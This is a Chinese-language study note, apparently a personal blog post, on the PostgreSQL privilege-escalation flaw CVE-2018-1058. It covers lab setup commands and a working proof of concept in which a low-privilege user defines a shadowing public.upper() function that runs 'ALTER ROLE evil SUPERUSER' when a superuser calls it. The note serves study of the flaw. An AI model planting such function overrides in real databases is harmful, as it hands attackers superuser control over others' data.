PostgreSQL远程代码执行漏洞(CVE-2018-1058)学习笔记

时间:2023-03-10 07:24:57
PostgreSQL远程代码执行漏洞(CVE-2018-1058)学习笔记

零、参考文献和绪论:

1、先知社区chybeta大神的--PostgreSQL 远程代码执行漏洞分析及利用—【CVE-2018-1058】--一文

2、博客园hunchill的--Mac 下 PostgreSQL 的安装与使用--一文

一、PostgreSQL环境搭建:

在mac上面安装postgresql并启动postgresql

 brew install postgresql
brew services start postgresql

二、创建用户配置环境:

1、初始化数据库,忘记在安装中还是初始化中,生成了超级用户,我的超级用户是hostname,这里使用bobac代替

 brew services stop postgresql
initdb /usr/local/var/postgres -E utf8
brew services start postgresql

2、创建普通用户

 createuser evil -P

3、创建数据库:

 createdb evil -O evil -E UTF8 -e

三、原理分析介绍:

  这个漏洞的原理就是在public空间上重载函数,加入恶意的程序代码。等待其他账户,尤其是高权限账户调用这个函数的时候,就会执行恶意代码(以高权限执行)从而达到远程恶意代码执行的目的。

四、过程举例(参考)

1、创建表并插入数据(evil权限执行):

 CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;

2、定义函数(evil权限执行):

 CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
ALTER ROLE evil SUPERUSER;
SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

3、查询时候使用upper函数(bobac权限执行)

 SELECT upper(contents) FROM hehehehe;

此时就执行了ALTER ROLE evil SUPERUSER;

4、然后查看用户权限:

 SELECT rolname,rolsuper FROM pg_roles;

PostgreSQL远程代码执行漏洞(CVE-2018-1058)学习笔记